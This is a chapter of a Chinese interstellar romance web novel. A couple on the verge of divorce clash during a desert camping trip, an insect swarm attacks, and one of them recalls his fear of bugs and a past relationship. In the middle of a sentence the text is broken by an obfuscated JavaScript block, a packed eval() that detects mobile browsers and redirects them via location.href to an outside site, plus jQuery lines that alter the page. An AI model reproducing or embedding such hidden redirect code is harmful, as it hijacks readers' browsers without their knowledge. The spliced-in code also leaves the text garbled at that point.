林倦归原以为他和穆彰离婚前夕气氛会变得很紧张,穆彰更是要在这段时间里拼命压榨他,总之不可能让林倦归好过就是了。
但穆彰逐渐将工作放在一边,空出时间带林倦归去各地旅游,也不管林倦归愿不愿意,做好决定了就要把人带上一起走。
林倦归不太喜欢工作安排被人打断,但穆彰不会允许林倦归拒绝他,于是林倦归就只能把工作带走,一边旅游一边忙活手里的事。
穆彰让林倦归别总盯着光脑,本来眼睛就不太好。
林倦归觉得穆彰管得有点太宽了,但危滟的确说林倦归最近的状态比较紧绷,劝他多出门散心,不要总是窝在办公室里。
“如果你能早点儿和我说,我会安排好时间出来和你认真玩儿的。”
以前和霍则深在一起的时候对方会仔细安排行程,确保不和林倦归的工作撞上,让林倦归有时间也有心情出去玩儿。
但穆彰对这些不是很在乎的样子:“你只要陪在我身边就好,想做什么都随你。”
于是乎就有了两人在满是沙漠的荒星落地支起帐篷露营的情形。
穆彰美其名曰“远离尘嚣”,然而荒星一无所有,他干脆从飞行器上扛了个小冰箱和烧烤架子来到地面,耐心又细致地把肉类蔬菜等洗净切好并串上签子。
林倦归在旁边安静看着,有种穆彰在玩真人版过家家的感觉。
他坐在穆彰搭好的椅子上喝着一瓶碳酸饮料,看穆彰兴致勃勃地在那儿烤串的模样,问他为什么要把自己带来这里。
“沙子有什么好看的。”
之前穆彰带林倦归去的地方要不就是环境优美的深林,地势罕见的崖壁,以及精致古朴的小镇,他们辗转来回了许多星球,每次的体验感都还不错,林倦归也慢慢接受了和穆彰出门旅游的日常。
但这次林倦归却觉得他和穆彰的旅行变成了极限求生现场。
现在的林倦归还是更喜欢舒适的大床和智能厨房管家,他毕竟不是从出生开始就拥有锦衣玉食的人,喜欢找罪受彰显自己的价值,他通过自己的努力奋斗到一定地位之后可不想再回去过那种难熬的日子了。
见林倦归这一脸无奈又不解的模样,穆彰拿着扇子给烧烤架上的烤肉扇风,油脂滴落炭火发出“滋啦”的爆响和更浓的烟雾,烤架上突然窜起一股火苗,与此同时还冒出了难以忽视的焦糊味。
穆彰赶紧拿起烤串,林倦归则是眼疾手快地往烤架里浇了些水,又不至于让火苗完全熄灭。
“你不觉得很好玩儿么,自己动手丰衣足食,你也试试?”
穆彰把肉重新放在烧烤架上,他手上沾着不少炭灰,看起来黑黑的,林倦归象征性地拿了一串肉放到烤架边缘随意翻动着,不打算给自己上什么难度。
林倦归从小就会做饭,否则他也不能在樊美仪被欺负的时候敢拿菜刀出来吓人了,但上学后更多的还是吃食堂,上班后则是在便利店简单解决,或者随便找个餐馆吃。
和霍则深认识之后林倦归更是没进过厨房,他的厨艺可以说是退化到完全没有。
在穆彰眼里林倦归是个十指不沾阳春水的小少爷,他能陪穆彰出来都算给了他不小的面子,更别提亲自上手做什么饭菜了。
穆彰看见林倦归这副敷衍的样子就觉得好笑,“想吃你做出来的东西可真难。”
林倦归给烤串翻了个面,“我就这么点儿水平,你要是不介意生熟的话现在也可以吃。”
穆彰把之前因为火势太大烤焦的部分用剪刀剪掉,往烤串上撒了一把孜然和辣椒粉,又烤了一会儿等油脂和调料充分融合,自己拿了一串,把剩下的都递给了林倦归。
“味道正好,你尝尝。”
林倦归接过烤串,用嘴吹了吹。
他对吃饭这件事好像从来没什么过盛的欲望,能进嘴就行,但对于穆彰的厨艺他还是非常认可的,“你好厉害。”
林倦归的夸奖穆彰很受用,但林倦归尝了一串烤肉就把剩下的放到盘子上,没有再碰了。
烤架只剩林倦归放上去的一根烤肉串,看起来孤零零的。
周遭的环境让林倦归兴致阑珊,目光所及只有连绵起伏蒸腾扭曲着热浪的沙丘,一片死寂的黄褐色铺向天际,不见一丝绿意,也看不到任何活物的踪迹。
“这段时间带你出来旅游算是补上结婚后的蜜月旅行吧,至于为什么最后一站要选在这里,是因为我想带你刷新我对过去的记忆。”
林倦归放下手里的碳酸饮料,可算给了穆彰一点眼神,“你和慕将军也来过这里。”
都不用穆彰点明,林倦归多聪明的人,随便一猜就知道了。
如今提起慕元清的时候穆彰已经很坦然,他点头说:“这里是我以前在军事学院实训课上意外迫降流落到的一颗星球,当时飞行器损坏,能源耗尽,我靠着空间背包里仅剩的压缩干粮和两瓶水熬过了五天。”
慕元清那会儿寻着踪迹找过来的时候穆彰已经陷入半昏迷,看见慕元清着急的目光他的眼睛紧紧粘在对方身上,对这份救命的恩情在心里记了很久。
穆彰声音低了些,带着点自嘲:“有时我很想和你说说以前经历过的事情,但仔细想想似乎大多数都和慕元清有关,我知道你介意这些,也知道你对这些压根儿就不感兴趣。”
林倦归的确没兴趣听穆彰的青春往事,但对方都这样说了,还带着点儿示弱和分享的意味,他难道还能直接冷漠地拒绝吗?
出于一种近乎本能,为了维持表面和谐的人道主义,林倦归顺嘴接了一句:“可能是以前没有机会听,我们在一起的时候大多数聊的都是……”
利益。
穆彰习惯性下达指令,林倦归平静顺从,他们去参加宴会,成为令人艳羡的AO伴侣,离开所有人视线后他们各自做着彼此的事业,很少有深度交流。
虽然穆彰喜欢上林倦归之后有心了解林倦归的喜好,也希望两人能做到心意相通,但林倦归的单方面抗拒还是让穆彰无计可施,现在林倦归发情期的时候又掺合进一个慕元清,这份关系能维持到现在已经很不容易。
穆彰知道这个话题再聊下去只会陷入死胡同,他无意间看见林倦归的烤串正在冒烟,赶紧拿起来吹了吹。
然而烤串的一面已经彻底焦糊,还散发着难闻的味道,林倦归表情有些沮丧,“怎么放到旁边也能糊掉。”
他拿起剪刀想把糊了的地方剪掉,却由于下手太狠,烤串上一半的肉都被他削完了。
穆彰赶紧接过手,他可不敢再让林倦归碰这些东西了,现在看来林倦归是真的没这个天赋。
不过这好歹是林倦归烤的,他撒了点儿椒盐,刚准备咬一口就听见林倦归说:“别吃了吧,一看就没烤好。”
都不用穆彰评价林倦归就能看出这串烤肉因为火候太大会导致肉质干硬和汁水流失,口感肯定不会太好。
但穆彰却说“没事”,把入口干柴的烤串全部吃下,还对林倦归笑着说:“好歹是你亲手做的,我舍不得。”
只要林倦归能为穆彰花一点心思,只要一点点就好,哪怕结果不尽如人意穆彰也能照单全收。
穆彰不经意流露出那种混合着神情懊悔和小心翼翼的复杂神态有时候会像细刺一样刺中林倦归心底某个角落,让他产生一种近乎荒谬的“自己是不是真的欠了穆彰什么”的错觉。
但林倦归依旧选择紧闭心门拒绝共情。
穆彰给出的不平等契约以及居高临下的掌控如同烙印一般深深刻在林倦归记忆中无法轻易抹去,就算穆彰再怎么示好,林倦归依旧在心底冷冷告诫自己:不要输给一瞬间虚假的温情,心软是沉沦的开始。
都说迟来的深情比狗贱,林倦归不想沉浸在这种诡异氛围中,干脆主动说:“我一直很好奇,当初你让我签署那份协议的时候想的难道不是三年一过就把我扔掉不管吗?为什么现在又要做这些,我并非无可替代,别的Omega来到你身边也能担任好穆彰伴侣的职责。”
穆彰知道林倦归迟早会问,他倒也很诚实地说出了原因:“我以为只用三年就能让慕元清放下一切和我在一起,是我太自以为是了。”
结果一切偏离轨道,穆彰根本无法控制感情上的任何事情。
“所以你根本没想过合同结束后要怎么安排我,你希望我自生自灭的,最好还是让所有人都不知道我的存在,这样就算我想闹起来都不会有人相信我说的一切。”
林倦归描述的分明是原剧情中穆彰对[林倦归]的所作所为,但穆彰却矢口否认道:“林倦归,不要假设没有发生过的事情,我不可能这样对你。”
“那你会怎么对我。”
饶是穆彰这种老狐狸在喜欢的人面前也无法保证万无一失的周密,他被林倦归的话堵得哑口无言了一小会儿才说:“总之我们现在并没有走到你以为的地步,你一直在拒绝我的示好,我欠你的还不清,我愿意用一生去赎罪,你却不肯接受。”
“我没有接受的理由。”
林倦归抽了张纸,慢条斯理地穆彰嘴角沾染的油渍和一点香料粉末擦拭干净,“你迟早会腻的,穆彰,你总觉得没有人能在你的攻势中坚持自我,但长时间无法得到回应的付出会让人心生怨气,或许让一个不喜欢你的人回心转意会让你很有满足感,可这样的感情本身就很病态,我们永远无法得到健康的关系。”
穆彰早就沉浸在自我感动的艺术中无法自拔了,林倦归的话只会让他感受到目的被揭穿后的恼羞成怒。
然而林倦归之前的所作所为已经把穆彰的阈值彻底拉高,不管林倦归说什么他都不是很在乎,他从始至终想要的也很简单,就是林倦归不要离开他。
穆彰的自以为是早就刻在了骨子里,林倦归知道他说什么都是对牛谈琴,这才有穆彰做什么他都没什么反应的状态。
对待穆彰这种人就是你越烦躁越折腾他,他就越觉得你很在意,简直和流氓无赖一样不讲道理。
林倦归刻意忍下的白眼还是让穆彰发现了,但穆彰也不气恼,只是握住林倦归即将撤开的手腕说:“以前你说希望我能接受真实的你,我觉得现在的你比当初对我假笑的时候要可爱太多,林倦归,我离不开你的,重拟财产合同也好,除了离婚,你提出什么要求我会答应,你能不能可怜一次我?”
只要林倦归阐明理由表示和穆彰的婚姻无法继续,Omega协会的人介入调查之后知道穆彰和林倦归没有进行任何标记,离婚简直是分分钟的事情。
他们签署的那份合同时间一到就自动终止,离婚的时候更是财产分割都不用做,他俩本来就没有共同财产,想离婚去领个证就好,方便快捷得很。
说到底穆彰还是不想这三年的努力全部白费吧,林倦归和他还是伴侣时对方的人脉属于两人,但离婚后林倦归就可以不用为穆彰做任何事了,也不必再维护他的面子。
林倦归把这些隐形规则看得清清楚楚,他心里没什么波澜,只是给穆彰提了个建议:“可以续签合同,我继续帮你解决易感期,在人前我们还是AO伴侣,利益相关的事情我们依旧是伙伴,但我不想再和你保持婚姻关系,你可以用我无法怀孕生子的事情将所有过错推在我身上,不会对你的名誉造成什么影响。”
穆彰沉默下来,良久,他问林倦归:“我是不是做什么都没用。”
林倦归反问:“是不是我说什么话你都不愿意听。”
这两人明明在交流却没没有任何作用,穆彰固执己见,林倦归不肯让步,像之前的很多次一样得不到任何结果。
穆彰将剩下的肉串全烤完,又分给林倦归两串让他不要挑食,“越是锻炼就越要保证肉类的补充,一味吃补剂只会让你的内脏功能退化。”
为了保证自己的体力,林倦归已经重新练起了拳击,星际时代想长点儿肌肉还是有挺多办法的,林倦归已经配合教练进行了快一年多的训练。
但不喜欢吃饭仍然是林倦归的弱项,穆彰会时不时提醒他。
这次的肉串明显比之前的要好吃了很多,也没有烤焦,林倦归很赏脸多吃了几口。
穆彰填饱肚子就开始收拾残局,将散落的调料瓶盖紧,把用过的签子和沾油的纸巾捡起来塞进密封袋。
林倦归站起身,穆彰把两人的椅子收好,刚准备回飞行器,一阵密集而诡异的“嗡嗡”声毫无预兆地穿透了沙漠的寂静,由远及近,迅速变得震耳欲聋。
那声音不像任何机械,带着一种令人头皮发麻的生物高频振动,如同无数细小的电钻同时在耳膜上开动。
林倦归下意识回头寻找声源———
“进去!”一声暴喝在耳边炸响,林倦归只觉得一股巨大的力量猛地撞在他后背上,整个人不受控制地向前扑倒。
他被穆彰用尽全力,几乎是粗暴地推进了飞行器敞开的舱门。
林倦归双手撑在地上,那股钝痛还未传来,透过飞行器的挡风玻璃他看到了此生难忘的恐怖景象。
一片巨大又会移动的“乌云”正以惊人的速度朝他们小小的露营点俯冲下来!
它们有着如岩石般粗糙的甲壳,复眼闪烁着冰冷无机制的光,巨大的口器开合着,滴落着粘稠的涎液。
锋利如镰刀的前肢在空气中高频挥舞,发出令人牙酸的“咔咔”声,振翅的声音汇集成毁灭性的噪音浪潮,遮天蔽日,将沙漠的光晖切割得支离破碎。
是虫族。
林倦归强压下恐惧,他扑到窗户边拍打着坚固的玻璃:“穆彰!快进来!快啊!”
他几乎很少在穆彰面前露出如此焦急的模样,穆彰匆匆回头看了一眼林倦归,对林倦归高吼,声音穿透了虫群的嗡鸣:“赶紧联系顾祢!坐标发他!我能撑一会儿!你害怕就趴下,别看!”
话音未落,一道刺目的金光包裹住穆彰,无数精密构建如同活物般涌现组合,一架线条冷硬充满力量的暗金色机甲在不到两秒的时间内完成了武装着装。
背部推进器喷吐出白色的尾焰,推动着机体悍然迎着虫群冲了上去!
穆彰没有选择固守,他手中的激光刃精准而狠辣地劈向虫群,如热刀切黄油一般将坚硬的甲壳轻易破开!
腥臭的蓝色血液和破碎和虫肢四处飞溅,穆彰的动作迅猛如电,步伐诡谲多变,每一次都能精准避开致命的扑击和带有腐蚀性的酸液。
林倦归的血液几乎要凝固,眼下绝不是计较私人恩怨的时候,穆彰一旦倒下,紧接着被撕碎的就是飞行器里的自己。
求生本能压倒了所有杂念,林倦归迅速点开光脑给顾祢发送了最高级别的求救信号精准坐标,随后坐在地上双手捂着头深呼吸。
从小到大他都很害怕虫子,这种心理阴影伴随林倦归长大,每次听见旁人谈论起虫族的事情都会让林倦归感到浑身不适,但是在外人面前他还是会努力保持镇静。
年幼时糟糕的生长环境也无法让林倦归脱敏,这种惧怕是从骨子里带来的。
有次他的耳道里还钻进去一只小蟑螂,要不是那天林倦归说他耳朵痒让樊美仪帮他看看,樊美仪还没办法在阳光下看见耳道里的东西。
晚上樊美仪带林倦归去医院,当时医生已经快下班,见到林倦归这种状况像是很意外,说可以用镊子试着看能不能帮林倦归把小蟑螂夹出来。
可林倦归实在疼得不行,泪眼婆娑地说好痛,医生让他们明天再去挂个号,看看能不能用别的办法将异物取出。
次日樊美仪又带林倦归到医院挂了号,耳镜下蟑螂的屁股骤然放大,林倦归紧紧闭上眼睛克服恐惧,折腾了半小时才将蟑螂的尸体抽出来。
回程路上樊美仪还在那儿碎碎念:“不都是用镊子取,你昨天忍一下我就不用花这五十块的医药费了。”
林倦归心里很愧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012066|164246||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
疚,他知道樊美仪赚钱不容易,可他真的很害怕。
到南方读高中的时候林倦归虽然成绩不错,算是没什么烦恼,可是这边的蛇虫鼠蚁比北方还要多,一下雨就潮湿得不行,如果不及时把垃圾扔掉就会生出那种难以用肉眼观察的白色小虫。
樊美仪喜欢把装鸡蛋的黄色纸托堆在阳台等着卖钱,可那次梅雨季之后纸托被水打湿,白色小虫在阳台爆发,又随着生活轨迹蔓延在家中各处。
最开始林倦归发现的时候拍照给樊美仪看,樊美仪很淡定,她不怎么怕这些,但她毕竟在人家家里做工,要是把虫子带过去波及主人家就不好了。
于是她对林倦归说:“你把鸡蛋壳子扔掉清扫一下就好了,哪里有虫子你就去买点杀虫剂喷一喷,很快就没了。”
林倦归信了樊美仪的话,每天放学回家忍着恶心做完作业就开始做家务,可那些虫子像是能无限繁殖,今天擦完了明天还能成倍爆发,林倦归简直要被这些东西搞崩溃了。
那段时间林倦归状态非常不好,连老师都看出了他的不对劲,把他叫到办公室去问他怎么了,还劝他不要给自己太大的压力,学习还是要劳逸结合的。
林倦归怎么能把这种事情说出去,摇着头说:“等天晴就好了。”
他已经查过,那些白色小虫叫粉螨,喜欢气候潮湿的环境,繁殖能力惊人,凡是被它碰过的东西最好是扔了或是经历暴晒才能杀死虫卵,最重要的还是保持环境干净整洁,身体免疫力差的人可能会因为它产生过敏哮喘等症状。
林倦归锲而不舍地打扫卫生,终于在一个月后控制住了情况。
而这时樊美仪终于忙完回到了家,看着整洁一新的家她像是很欣慰,丝毫没有发现林倦归的憔悴一般:“你能把家里打理得紧紧有条,一个人照顾好自己我就放心了。”
那会儿林倦归年纪还小,不知道樊美仪的做法究竟有什么问题,还真以为樊美仪的一切行为都是为了他好。
后来林倦归的生活环境渐渐好了起来,他逐渐将这些不好的记忆抛在脑后,直到和霍则深在一起。
那段时间林倦归和霍则深才确定情侣关系两个月左右,林倦归一如既往地出差,有大半个月没回家。
由于自己的疏忽大意,林倦归在离家前忘了把垃圾封起来扔掉,这就导致他回家拿杯子打算去接水和的时候发现了厨房里正在上下蠕动的小白点。
手里的杯子当场就摔到了地上,砸了个稀巴烂。
上学时的梦魇仿佛在此刻又缠了上来,林倦归只觉得心跳加速浑身无力,连呼吸都变得有些困难。
就在他鼓起勇气拿起毛巾准备开始搞卫生的时候,水龙头里一滴水都没流出来。
林倦归很少这么茫然,他站在那儿缓了几分钟才反应过来,拿出手机看看是不是欠了水费。
等交完水费电费林倦归接到了霍则深打来的电话。
当时林倦归声音明显很哑,还带着一点儿说不清道不明的哽咽。
霍则深立马就察觉到林倦归的不对劲,问他怎么了,发生了什么事。
霍则深的关心让林倦归有种安定感,他吸了吸鼻子,对霍则深说明了事情的原委。
“我知道这种虫子不可怕,但我就是战胜不了。”
林倦归这会儿还在阳台吹风,他没办法待在厨房那个鬼地方心平气和地和霍则深聊天。
霍则深能从林倦归的语气中感受到他对那些虫子的烦躁和厌恶,男人似乎变得严肃起来,问林倦归能不能拍张照片给他,他好确定要买什么杀虫剂过去。
“如果做不到的话和我形容一下特征,这种时候我会陪着你的,别怕。”
林倦归独立惯了,即便谈了恋爱也还是不习惯麻烦别人。
“没事,我能面对,明天我请个家政过来,现在太晚了,我不想你为了我的事这么晚出门。”
霍则深并未介意,他在电话那边笑了笑:“如果在你遇到问题的时候我视而不见,我会觉得我很混蛋,外面风大,你这会儿在阳台吧,赶紧回去,别感冒了,我马上就到,不会开快车的,你放心。”
尽管嘴上说着不要,但林倦归的确想有个人在身边帮忙分担一部分精神压力。
林倦归鼓起勇气去了趟厨房,把那些小白虫的照片拍下来发给霍则深之后就立马删掉了原图和聊天记录。
霍则深回了个“OK”的表情,他说这种东西处理起来不难,他来解决就好,让林倦归先洗漱,他知道林倦归爱干净。
可林倦归的心根本就安静不下来,直到门铃响起,林倦归简直是弹起来的,立马跑去开了门。
看见霍则深的那一瞬林倦归的心好像跳得没那么快了,霍则深手里拎着个袋子,见林倦归像个可怜小动物一样双眸水润简直心疼得不行。
进屋后霍则深直接把林倦归抱进怀里,轻轻拍着他的背说:“你一个人住我还是不放心,等这房子租期满了,你过去和我住吧。”
这份建议实在是顺理成章,可林倦归心里却有些忐忑,没有立马答应。
霍则深会给予林倦归充分的思考时间,他亲了下林倦归的脸颊,问他明天要不要上班,林倦归摇头:“下午再去打卡,反正没人抓我通勤。”
这就是集团高层的任性之处了。
霍则深笑着拍了拍林倦归的细腰,“正好我明天休息,那就看看这些烦人的小玩意儿要怎么解决吧。”
霍则深往他带来的喷壶里倒了半包盐之后灌水,将壶里的盐水调到极高的浓度之后往厨房上下喷洒着。
“这种小虫子外膜很薄,基本遇上盐就会死,但它产下的卵又很顽强,连续洒个三四天再整理卫生就差不多解决了,以后还是得勤扔垃圾,不要堆久了。刚才我检查过,幸好就厨房里有,没蔓延到别的地方,控制好了就行。”
林倦归一时无言,他没想到对自己来说难如登天的事情被霍则深几句话就解决了,看着霍则深的眼神都不自觉带上些崇拜。
霍则深弯着眼睛再次抛出橄榄枝,“我家很大,多住一个人完全不是问题,你要是想养宠物的话……容量够的,就是我们工作太忙,不一定顾得上。”
林倦归的确心动了,但他还是很委婉地说:“房子还有两个月到期,原本我想和房东说要续租的。”
霍则深立马就听出林倦归这是答应了,喜笑颜开道:“没事儿,到时候要搬家记得和我打电话,我来帮你收拾东西。这边就等着干吧,你回来后就一直在心烦吧?去洗个澡,我给你放水。”
霍则深对林倦归的习惯了如指掌,林倦归乖乖去洗漱,从浴室出来的时候就看见霍则深靠在沙发里,看着他之前在外地出差时买回来的童话。
这些书是因为林倦归当时瞧见一个买书的小女孩太可怜,鞋子衣服都破洞了还在那儿费力地吆喝,林倦归蹲下身拿了最上面的三本,还给女孩脖子上挂着的二维码牌扫了一百块钱过去。
洗完澡的林倦归一身的水汽,霍则深放下书,听林倦归说完买书的故事,看着林倦归发丝潮湿嘴唇红润的模样,喉结不自觉滚了滚,还说林倦归真有爱心。
林倦归撑着头笑:“这是一种卖货方式,故意勾起同情心,让你心甘情愿掏钱。后来听同事说那女孩的父亲是老惯犯了,去市场批了书之后就让小孩在街道上吆喝,城管赶了好几次,也有人报警,但还是管不着,毕竟这是她爸唯一的敛财方式。”
霍则深脸上并无意外,他只是心疼林倦归,“其实最好的办法是不买她的东西,久而久之她爸就不会利用她赚钱了,你知道真相后伤心吗?”
林倦归摇头:“君子论迹不论心,我做这些又不是为了得到,而是我知道……如果她没办法用这种办法为她爸挣钱,她爸就会用别的办法去压榨她。”
霍则深把手里的书放下,他凑上去紧紧抱住林倦归喃喃道:“哥哥,你一直这么好。”